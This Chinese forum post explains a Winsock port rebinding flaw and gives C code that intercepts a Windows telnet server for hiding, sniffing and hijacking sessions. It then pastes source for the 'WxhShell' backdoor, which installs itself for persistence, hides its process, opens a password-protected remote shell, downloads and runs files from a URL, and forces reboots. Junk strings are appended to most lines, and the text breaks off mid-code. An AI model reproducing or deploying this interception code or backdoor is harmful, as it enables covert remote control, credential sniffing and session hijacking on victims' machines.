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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n2opy8J#!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =EHKu|rX~  
_bCIVf`  
  saddr.sin_family = AF_INET; B I>r'  
Z%{`j!!p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L3S29-T  
LD;! s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q' t"  
@ +>>TGC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tv9 R$-cJ  
;3 =RM\  
  这意味着什么?意味着可以进行如下的攻击: -+Ox/>k  
w\>@> *E>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZjgfkZAS  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .UUT@ w?  
 _dVA^m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +qa^K%K  
9'O@8KB_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c*V/2" 5  
E`q)vk   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /6'5uP   
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n?NUnFA  
0w".o!2\U{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z| m-nIM  
qc/)l~]?g{  
  #include ^B'N\[  
  #include WHR6/H  
  #include m>^#:JK  
  #include    UmP\;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A{wSO./3  
  int main() _3m\r*(vmQ  
  { u/HNXJ7M`9  
  WORD wVersionRequested; e~G um  
  DWORD ret; )VkH':yCM  
  WSADATA wsaData; >'{'v[qR[G  
  BOOL val; P?M WT]fY  
  SOCKADDR_IN saddr; l\&Tw[O  
  SOCKADDR_IN scaddr; gYa (-o  
  int err; #D Oui]  
  SOCKET s; 4nD U-P#f  
  SOCKET sc; ;<s0~B#9}  
  int caddsize; TE@bV9a  
  HANDLE mt; }N#hg>; B  
  DWORD tid;   xY`$j'u  
  wVersionRequested = MAKEWORD( 2, 2 ); WTj,9  
  err = WSAStartup( wVersionRequested, &wsaData ); h~.z[  
  if ( err != 0 ) { w4;1 ('  
  printf("error!WSAStartup failed!\n"); :cE~\B S&  
  return -1; -h#9sl->  
  } O`'r:&#W  
  saddr.sin_family = AF_INET; .Za)S5U  
   3/RNStd<L!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u\}"l2 r  
=o,6iJ^?$m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "S0WFP\P+  
  saddr.sin_port = htons(23); h$a% PaVf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ivP#qM1*;  
  { 7\Wq:<JL  
  printf("error!socket failed!\n"); PG'+vl  
  return -1; W4S! rU  
  } hD>cxo  
  val = TRUE; @SH$QUM(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 f]]UNS$AYQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) </) HcRj'e  
  { fV5MI[ t  
  printf("error!setsockopt failed!\n"); %j2ZQ/z  
  return -1; tF~D!t@  
  } ~Jx0#+z9V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K_CE.8G&{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5YnTGf&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 okQ<_1e{  
(2p<I)t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *BAR`+;U  
  { v0'`K 5M  
  ret=GetLastError(); +|TFxaVz  
  printf("error!bind failed!\n"); .u$o^; z!  
  return -1; #m36p+U  
  } 3.<E{E!F  
  listen(s,2); xHi.N*~D  
  while(1) $ {5|{`  
  { 8$V:+u  
  caddsize = sizeof(scaddr); T6fm`uL&L  
  //接受连接请求 8AuOe7D9A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &BS*C} },  
  if(sc!=INVALID_SOCKET) 1CpIK$/  
  { GR>kxYM%q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IH$ZPux  
  if(mt==NULL) >Eqr/~Q  
  { <X ~P62<  
  printf("Thread Creat Failed!\n"); ,RIC _26  
  break; \9`76*X6 c  
  } s\3OqJo%)  
  } !pAb+6~T  
  CloseHandle(mt); &_ W~d0  
  } ,AEaW  
  closesocket(s); ?$Jj^/luD  
  WSACleanup(); |h* rkLY  
  return 0; IT=<p60"  
  }   o%sx(g=q6  
  DWORD WINAPI ClientThread(LPVOID lpParam) a5nA'=|}i  
  { o#=@!m  
  SOCKET ss = (SOCKET)lpParam; WI}cXXUKm0  
  SOCKET sc; )0N^rw kW  
  unsigned char buf[4096]; >N8*O3  
  SOCKADDR_IN saddr; 1XPYI  
  long num; 8c^Hfjr0  
  DWORD val; ?3Y~q;I]O  
  DWORD ret; L wP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qEajT"?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =]m,7v Rq  
  saddr.sin_family = AF_INET; s5 ($b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iM(Q-%HP_  
  saddr.sin_port = htons(23); 35/K9l5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vh'H =J  
  { "^NsbA+  
  printf("error!socket failed!\n"); + [~)a 4#  
  return -1; ne9- c>>  
  } +Hk r\  
  val = 100; Eu|O<9U\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wf:LYL  
  { B&>z&!}  
  ret = GetLastError(); 9>T5~C'*  
  return -1; A5?q&VS}p  
  } kY^ k*-v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E_-QGE/1  
  { $(+#$F<eo+  
  ret = GetLastError(); ;DX g  
  return -1; uZe"M(3r$  
  } vo>i36  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &M{;[O{  
  { &>P<Zw-  
  printf("error!socket connect failed!\n"); 2Og<e|  
  closesocket(sc); > PK 6CR  
  closesocket(ss); L L? .E  
  return -1; "/nbcQ*s*E  
  } W5,&*mo  
  while(1) `!Yd$=*c_&  
  { b} FhC"'i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  ) fQ1U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z ygu/M 6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N;gY5;0m  
  num = recv(ss,buf,4096,0); Xm3r)Bm'3  
  if(num>0) 6/6{69tnr  
  send(sc,buf,num,0); FxmHy{JG  
  else if(num==0) "h-ZwL  
  break; 1pAcaJzf  
  num = recv(sc,buf,4096,0); A DVUx}  
  if(num>0) 9,[A fI  
  send(ss,buf,num,0); \,ne7G21j  
  else if(num==0) 3~1Gts  
  break; J`[gE`d  
  } iDWM-Ytx  
  closesocket(ss); .$fSWlM;  
  closesocket(sc); JOH\K0=e  
  return 0 ; +Fb+dU  
  } %{-r'Yi%  
S)?N6sz%  
(hEg&@  
========================================================== \/64Xv3L0  
60 %VG  
下边附上一个代码,,WXhSHELL .N7<bt@~)  
c h}wXn  
========================================================== @C%6Wo4l3  
[bw1!X3  
#include "stdafx.h"  aWPf3Q  
j WSgO(y  
#include <stdio.h> /24}>oAH  
#include <string.h> <HtGp6q  
#include <windows.h> nxB[T o*P  
#include <winsock2.h> _PcF/Gyk  
#include <winsvc.h> H+Aidsn  
#include <urlmon.h> TF9A4  
_xmQGX!|  
#pragma comment (lib, "Ws2_32.lib") wJD'q\n  
#pragma comment (lib, "urlmon.lib") )|_L?q#w!'  
W*%(J$E  
#define MAX_USER   100 // 最大客户端连接数 icb *L~qm  
#define BUF_SOCK   200 // sock buffer !C h1q  
#define KEY_BUFF   255 // 输入 buffer G<* Iw>ep  
_a f $0!  
#define REBOOT     0   // 重启 p8 Ao{  
#define SHUTDOWN   1   // 关机 RL$%Vy0  
Z~<=I }@  
#define DEF_PORT   5000 // 监听端口 ?J,,RK.  
J.'%=q(Sb  
#define REG_LEN     16   // 注册表键长度 Bgn%d4W;G  
#define SVC_LEN     80   // NT服务名长度 Oxa8ue?  
``eam8Az_U  
// 从dll定义API z1]nC]2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <&#MX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CBoCT3@~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ctn 4q'Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T9XUNR{&  
CmV &+C$V%  
// wxhshell配置信息 h!v< J  
struct WSCFG { 7BL)FJ]UR]  
  int ws_port;         // 监听端口 Y SB=n d_  
  char ws_passstr[REG_LEN]; // 口令 c#>(8#'.U  
  int ws_autoins;       // 安装标记, 1=yes 0=no .#-F@0a  
  char ws_regname[REG_LEN]; // 注册表键名 46pR!k  
  char ws_svcname[REG_LEN]; // 服务名 Fe4>G8uuwn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0#DEh|?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :vX%0|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d$ n31F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J{.UUw9Agd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RgA"`p7{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pu+Q3NfR  
~ !!\#IX  
}; \xbUr`WBY  
R^$|D)(  
// default Wxhshell configuration 8I *N  
struct WSCFG wscfg={DEF_PORT, ! xG*W6IT  
    "xuhuanlingzhe", =#,`k<v%I  
    1, Y)DX   
    "Wxhshell", ];4!0\M  
    "Wxhshell", 9O:l0 l  
            "WxhShell Service", AB`.K{h  
    "Wrsky Windows CmdShell Service", \0d'y#Gp*  
    "Please Input Your Password: ", )S(Ly.  
  1, 4k-Ak6s  
  "http://www.wrsky.com/wxhshell.exe", L/r_MtN  
  "Wxhshell.exe" ~^V&n`*7D  
    }; z-606g  
xsn=Ji2 F  
// 消息定义模块 |Rz.Pt6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; flo$[]`.7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C_kuW+H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P|bow+4  
char *msg_ws_ext="\n\rExit."; U]~@_j  
char *msg_ws_end="\n\rQuit."; &.\7='$F  
char *msg_ws_boot="\n\rReboot..."; h7!O K  
char *msg_ws_poff="\n\rShutdown..."; w+R7NFq  
char *msg_ws_down="\n\rSave to "; *k}m?;esb  
V7Cnu:0_  
char *msg_ws_err="\n\rErr!"; xF8n=Lc  
char *msg_ws_ok="\n\rOK!"; ZQ_6I}i")  
X<}}DZSu a  
char ExeFile[MAX_PATH]; ~qrSHn}+PU  
int nUser = 0; , :#bo]3  
HANDLE handles[MAX_USER]; ]*\MIz{56'  
int OsIsNt; z6C(?R  
n jWe^  
SERVICE_STATUS       serviceStatus; < ,*\t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KU/r"lMNlU  
#@$80eFq  
// 函数声明 oT):#,s  
int Install(void); w3(|A> s3  
int Uninstall(void); ]=q auf>3  
int DownloadFile(char *sURL, SOCKET wsh); 3- Kgz  
int Boot(int flag); #`*uX6C  
void HideProc(void); QDg5B6>$  
int GetOsVer(void); lD0-S0i  
int Wxhshell(SOCKET wsl); $u!(F]^  
void TalkWithClient(void *cs); d#rr7O  
int CmdShell(SOCKET sock); tF`L]1r>  
int StartFromService(void); iY,C0=n5Y  
int StartWxhshell(LPSTR lpCmdLine); 112 WryS  
"/aZ*mkjfJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #ODP+>-IjB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #&}- q RA  
{5E8eQ  
// 数据结构和表定义 p|-MwCeH  
SERVICE_TABLE_ENTRY DispatchTable[] = K$,Zg  
{ K6IT$$g  
{wscfg.ws_svcname, NTServiceMain}, SH?McBxS  
{NULL, NULL} .5 . (S^u  
}; Zd[rn:9\  
t{]Ew4Y4%O  
// 自我安装 ; j!dbT~5  
int Install(void) ]->"4,}  
{ lKf58 mB  
  char svExeFile[MAX_PATH]; u5oM;#{@-  
  HKEY key; 6Rn?pe^  
  strcpy(svExeFile,ExeFile); w \b+OW  
PAYw:/(P  
// 如果是win9x系统,修改注册表设为自启动 ,eyh%k*hz  
if(!OsIsNt) { _Vr- bpAf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zEI+)|4?r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i/9iM\2  
  RegCloseKey(key); z{rV|vQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BPO5=]W 7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tAAMSb9[d  
  RegCloseKey(key); ..)J6L5l  
  return 0; u<edO+  
    } ZyGoOk  
  } QHR,p/p  
} ~Gu$E qQ  
else { d?fS#Ryb  
}=-0 DSLVj  
// 如果是NT以上系统,安装为系统服务 keAoJeG,J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9J3fiA_  
if (schSCManager!=0) |.N[NY  
{ W+ S~__K  
  SC_HANDLE schService = CreateService k*$WAOJEW  
  ( pe?)AiTZ:  
  schSCManager, 4?R979  
  wscfg.ws_svcname, /$c87\  
  wscfg.ws_svcdisp, ix!xLm9\  
  SERVICE_ALL_ACCESS, RA0;f'"`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .?:*0  
  SERVICE_AUTO_START, ;,f\Wf"BW  
  SERVICE_ERROR_NORMAL, ]fM|cN8(zM  
  svExeFile, E5ce=$o  
  NULL, l f>/  
  NULL, xo[o^go  
  NULL, b84l`J  
  NULL, T8^9*]:@c!  
  NULL Q~N,QMr)k&  
  ); Ob$``31{s  
  if (schService!=0) N"70P/  
  { [}L~zn6>?a  
  CloseServiceHandle(schService); c{M ,K  
  CloseServiceHandle(schSCManager); ~5KcbGD~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z8SwW<{ $  
  strcat(svExeFile,wscfg.ws_svcname); *#=Ijr~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6<lo0PQ"Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q'mh*  
  RegCloseKey(key); !..<_qfw  
  return 0; Aw#<:6-  
    } Bj@>iw?g'  
  } *vb"mB  
  CloseServiceHandle(schSCManager); hYJzF.DW<$  
} 8 .%0JJ.3  
} w!f2~j~  
~i.*fL_Y  
return 1; NqD]p{>Y  
} `ASDUgx Mq  
UoT`/.  
// 自我卸载 Btm,'kBG  
int Uninstall(void) ^')8-aF .  
{ q`<vY'&1  
  HKEY key; Z[?n{vD7  
s$M(-"mg  
if(!OsIsNt) { /!5Wd(:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NEq_!!/sF  
  RegDeleteValue(key,wscfg.ws_regname); tguB@,O  
  RegCloseKey(key); pD{OB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _b&|0j:Ud  
  RegDeleteValue(key,wscfg.ws_regname); s#X/ F  
  RegCloseKey(key); C~En0G1  
  return 0; d( v"{N}  
  } a/J<(sak~X  
} &=@{`2&  
} Bu:%trlgV  
else { si0}b~t  
i2<z"v63  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u^2`$W  
if (schSCManager!=0) !ku}vTe  
{ <6Q^o[L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5H3o?x   
  if (schService!=0) Xh"9Bcjf  
  { 07LyB\l~  
  if(DeleteService(schService)!=0) { qTuR[(  
  CloseServiceHandle(schService); L)'G_)Sl  
  CloseServiceHandle(schSCManager); :;%Jm  
  return 0; PxKBcx4o`  
  } Rpn<"LIoB:  
  CloseServiceHandle(schService); k~[jk5te  
  } %2 r ~  
  CloseServiceHandle(schSCManager); SEgw!2H  
} XCM!8x?K  
} T<]{:\*n  
?mH=3 :~  
return 1; kz=ho~ @  
} T~UDD3  
{it.F4.  
// 从指定url下载文件 gPMR,TU  
int DownloadFile(char *sURL, SOCKET wsh) do" m=y  
{ O=Su E/q  
  HRESULT hr; 5EtR>Pc  
char seps[]= "/"; P'~`2W0sz  
char *token; Z %pc"  
char *file; ?b_E\8'q]  
char myURL[MAX_PATH]; WuK<?1meN  
char myFILE[MAX_PATH]; Iy)1(upM  
t'_EcYNS  
strcpy(myURL,sURL);  2s}S9  
  token=strtok(myURL,seps); J^8j|%h%e  
  while(token!=NULL) p3P8@M  
  { 6J;!p/C8E  
    file=token; +yL;?+s>=  
  token=strtok(NULL,seps); vP{i+s18B  
  } 1Ek3^TOv7  
_9BL7W $;  
GetCurrentDirectory(MAX_PATH,myFILE); "~Fg-{jM%  
strcat(myFILE, "\\"); m=}h7&5p  
strcat(myFILE, file); :hICe+2ca  
  send(wsh,myFILE,strlen(myFILE),0); X;LYGJ{Xk  
send(wsh,"...",3,0); YdD; Qx#O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MZ3 8=nJ  
  if(hr==S_OK) ~<k>07  
return 0; aR2N,<Cp5  
else W*LC3B^  
return 1; !gI0"p?  
?e9tnk3  
} c =m#MMc)  
W'6DwV|  
// 系统电源模块 8L[+$g`  
int Boot(int flag) hk !=ZE3  
{ Mmz; uy_  
  HANDLE hToken; vU%o5y:  
  TOKEN_PRIVILEGES tkp; #ed|0  
]*NYuEgc  
  if(OsIsNt) { u-~ec{oBu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D:k< , {  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1e\cJ{B  
    tkp.PrivilegeCount = 1; NLZ5 5yo$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {^oohW -  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~2* LWH*@  
if(flag==REBOOT) { o?ug`m"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wai3g-`  
  return 0; =*fq5v  
} \zU<o~gs  
else { }wo:1v8J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +VVn@=&?  
  return 0; sd4eG  
} ^.J_w  
  } ~Jf(M ^E  
  else { JOuy_n  
if(flag==REBOOT) { pbKmFweq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) emQc%wd{  
  return 0; W(s5mX,Kv  
} '7oR|I  
else { ~j{c9EDT|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zf>:h   
  return 0; TQb/lY9*  
} l|+$4 Nb2  
} XR]bd  
`Fcr`[  
return 1; Y;Nq(  
} << =cZ.HP  
wMkHx3XD  
// win9x进程隐藏模块 h,y_ ^cf  
void HideProc(void) C'@I!m._i  
{ kmW/{I9,ua  
b7hICO-w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PM!JjMeQh  
  if ( hKernel != NULL ) 2aTq?ZR|8A  
  { (6/aHSXI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F u5zj\0J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mfj%-)l9  
    FreeLibrary(hKernel); # Ey_.4S  
  } oM1C/=8   
tJ\v>s-f  
return; E6R\ DM  
} 0B[~j7EGO  
E4=D$hfq`  
// 获取操作系统版本 #-b}QhxH  
int GetOsVer(void) j0"4X  
{ ^KD1dy3(  
  OSVERSIONINFO winfo; <FR!x#!   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uo?R;fX26  
  GetVersionEx(&winfo); ,2U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k]AL\) &W  
  return 1; {oAD;m`  
  else Z Uj1vf6I  
  return 0; D?dS/agA  
} mS}.?[d"  
L{1[:a)']B  
// 客户端句柄模块 Vo[.^0  
int Wxhshell(SOCKET wsl) >mtwXmI  
{ Rt,po  
  SOCKET wsh; ^r<l#D,  
  struct sockaddr_in client; /F^ Jn_  
  DWORD myID; t%,:L.?J#  
Ya~Th)'>q  
  while(nUser<MAX_USER) Jj0:p"  
{ fHwS12SB  
  int nSize=sizeof(client); zXUB6. e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R4b!?}d  
  if(wsh==INVALID_SOCKET) return 1; ?N9Z;_&^.  
,+Ocb-*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PYNY1 |3  
if(handles[nUser]==0) Wc m'E3c,  
  closesocket(wsh); h'GOO(  
else sSk qU  
  nUser++; } gwfe H  
  } cb|hIn\>7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t@ri`?0w  
BbCW3!(  
  return 0; oV9{{  
} [ns==gDD  
gw">xt5  
// 关闭 socket RH7!3ye  
void CloseIt(SOCKET wsh) 6~>h;wC  
{ . qf~t/o  
closesocket(wsh); `WMU'ezF  
nUser--; 5zZQt +Ip  
ExitThread(0); S|KUh|=Q  
} Q t>|TGz  
;gAL_/_  
// 客户端请求句柄 M(C$SB>  
void TalkWithClient(void *cs) .h/2-pQ>  
{ ?I+$KjE+  
A42!%>PB  
  SOCKET wsh=(SOCKET)cs; u|\?6fz  
  char pwd[SVC_LEN]; $tc1 te  
  char cmd[KEY_BUFF]; MO| Dwuaf  
char chr[1]; " &`>+Yw  
int i,j; ~e)"!r  
RU/SJ1wM"  
  while (nUser < MAX_USER) { nWK7*  
RFSwX*!  
if(wscfg.ws_passstr) { a3A3mBw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :AQ9-&i/a-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rR/{Yx4  
  //ZeroMemory(pwd,KEY_BUFF); P0sAq7"  
      i=0; \"L0d1DK)  
  while(i<SVC_LEN) { &sYxe:H  
 !I&,!$  
  // 设置超时 =\MAz[IDj  
  fd_set FdRead; YRv96|c,  
  struct timeval TimeOut; @Jqo'\~&  
  FD_ZERO(&FdRead); IAN={";p  
  FD_SET(wsh,&FdRead); XWNo)#_3  
  TimeOut.tv_sec=8; E.0J94>iM  
  TimeOut.tv_usec=0; Jk7 Am-.0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yc`3)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p&4n"hC  
C9""sVs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *XYp~b  
  pwd=chr[0]; oIj -Y`92!  
  if(chr[0]==0xd || chr[0]==0xa) { h qhX  
  pwd=0; MR5[|kHJT  
  break; 5')]Y1J  
  } 6hcK%0z  
  i++; $b7@S`5  
    } M)Z!W3  
jaavh6h)  
  // 如果是非法用户,关闭 socket O 9M?Wk :  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p=kt+H&;  
} F ~7TE91C  
o Q*LP{M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )iK:BL*Nw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y%|dM/a`  
5j0 Ib>\  
while(1) { 0V^I.S/q  
}*C  
  ZeroMemory(cmd,KEY_BUFF); R(8?9-w  
"Y4glomR[  
      // 自动支持客户端 telnet标准   k\dPF@~Hvl  
  j=0; 7`^Y*:(  
  while(j<KEY_BUFF) { 5v`lCu]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %3"U|Za+   
  cmd[j]=chr[0]; A;&YPHB  
  if(chr[0]==0xa || chr[0]==0xd) { FgrVXb_q  
  cmd[j]=0; ro3%VA=V  
  break; M`@ASL:u  
  } a'n17d&  
  j++; QP%Hwt]+  
    } ` vFDO$K  
/& c2y=/'C  
  // 下载文件 Q"c/]Sk)  
  if(strstr(cmd,"http://")) { ^SsnCn-e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +9pock  
  if(DownloadFile(cmd,wsh)) /eXiWasQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x(4"!#  
  else /(u? k%Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hi/[  
  } ~ F-lO1  
  else { 6X?:mn'%QF  
iWFtb)3B  
    switch(cmd[0]) { @#-\ BQ;  
  piuM#+Y\'S  
  // 帮助 (\r^ 0>H  
  case '?': { P>_9>k@;Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 261? 8&c  
    break; EE`[J0 (  
  } ".N{v1  
  // 安装 BSB&zp  
  case 'i': {  4~ L1~Gk  
    if(Install()) r ?<kWR?w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v;Q*0%~  
    else l]Xbd{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mh`uvqY  
    break; B.;@i;7L  
    } 4sRg+mMI  
  // 卸载 6BEpnw>p(  
  case 'r': { ~-uf%=  
    if(Uninstall()) R#8cOmZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #3{}(T7  
    else v^F00@2I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fo`R=|L[  
    break; h(J$-SUs  
    } |:4?K*w",  
  // 显示 wxhshell 所在路径 9^`cVjD5  
  case 'p': { Bgzq  
    char svExeFile[MAX_PATH]; |%fNLUJ)  
    strcpy(svExeFile,"\n\r"); quC$<Y  
      strcat(svExeFile,ExeFile); bb\XZ~)F  
        send(wsh,svExeFile,strlen(svExeFile),0); K :+q9;g  
    break; 4GeN<9~YS  
    } $>uUn3hSx\  
  // 重启 *qAG0EM|  
  case 'b': { 8;c\} D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UJ%.KU%Q}  
    if(Boot(REBOOT)) tX@y ]"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Fxn1Z,  
    else { m .(\u?J  
    closesocket(wsh); v6Y[_1  
    ExitThread(0); }R5EuR m\  
    } ; lrO?sm  
    break; !7Qj8YmS  
    } ycki0&n3  
  // 关机 E_[a|N"D  
  case 'd': { |O'*CCrCL  
